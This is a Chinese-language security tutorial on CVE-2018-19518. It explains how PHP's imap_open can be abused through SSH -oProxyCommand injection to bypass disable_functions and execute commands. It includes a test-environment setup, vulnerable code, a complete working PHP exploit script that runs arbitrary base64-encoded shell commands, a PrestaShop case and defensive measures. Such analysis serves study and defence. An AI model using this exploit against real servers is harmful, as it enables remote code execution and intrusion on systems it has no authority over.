如何在PHP安装中绕过disable_functions
字数 1075 2025-08-26 22:11:15
PHP disable_functions 绕过技术:利用 IMAP 漏洞实现 RCE
漏洞概述
CVE-2018-19518 是一个存在于 PHP IMAP 扩展中的漏洞,允许攻击者绕过 disable_functions 限制,实现远程代码执行。该漏洞源于 UW IMAP 工具包(2007 版本)在处理 IMAP 连接时的缺陷。
环境准备
测试环境搭建
# 创建带有调试权限的 Docker 容器
docker run --rm -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=phpimap --hostname=phpimap -p80:80 debian /bin/bash
# 安装必要软件
apt update && apt install -y nano php php-imap ssh strace
PHP 安全配置
# 创建禁用危险函数的配置文件
echo '; priority=99' > /etc/php/7.0/mods-available/disablefns.ini
echo 'disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source' >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns
技术原理
IMAP 协议背景
IMAP (Internet Message Access Protocol) 是用于从邮件服务器检索电子邮件的标准协议。PHP 通过 imap_open() 函数提供 IMAP 支持,该函数底层使用 UW IMAP 工具包。
漏洞根源
漏洞存在于 tcp_aopen() 函数(位于 tcp_unix.c)中,当处理 IMAP 连接时会尝试使用 rsh/ssh 进行认证:
- 代码会检查是否定义了
SSHPATH和RSHPATH - 如果没有定义
SSHPATH,则使用RSHPATH(通常指向/usr/bin/rsh) - 在 Debian/Ubuntu 系统中,
/usr/bin/rsh通常是 ssh 的符号链接 - 攻击者可以通过构造特殊的服务器地址参数来注入 SSH 命令选项
关键代码分析
/* tcp_unix.c */
if (*service == 's') { /* want ssh? */
if (!(sshpath && (ti = sshtimeout))) return NIL;
if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
else if (rshpath && (ti = rshtimeout)) { /* want rsh? */
if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}
漏洞利用
基本利用方法
- 利用 SSH 的
-oProxyCommand选项执行任意命令 - 使用
$IFS或制表符(\t)绕过空格限制 - 使用 base64 编码绕过斜杠限制
利用步骤
-
构造 payload 并 base64 编码:
$payload = "echo hello | tee /tmp/executed"; $encoded_payload = base64_encode($payload); -
构造恶意服务器地址:
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash}"; -
调用
imap_open():@imap_open('{'.$server.':143/imap}INBOX', '', '');
完整利用脚本
<?php
$payload = $argv[1];
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash}";
print("payload: {$server}".PHP_EOL);
@imap_open('{'.$server.':143/imap}INBOX', '', '');
?>
实际案例:PrestaShop RCE
PrestaShop 1.7.4.4 中存在此漏洞:
- 漏洞位于
AdminCustomerThreadsController.php的syncImap()方法 - 攻击者可以通过管理面板中的 IMAP 配置注入恶意服务器地址
- 当系统执行邮件同步时触发代码执行
漏洞代码位置
// prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php
$mbox = @imap_open('{'.$url.':'.$port.$conf_str.'}', $user, $password);
防御措施
- 更新 PHP 到最新版本(已修复此漏洞)
- 禁用 IMAP 扩展(如果不需要)
- 使用
open_basedir限制文件系统访问 - 在容器环境中使用最小权限原则
总结
该漏洞展示了即使配置了 disable_functions,由于底层库的实现缺陷,仍然可能存在代码执行风险。安全人员应关注所有外部库的调用路径,而不仅仅是 PHP 本身的函数限制。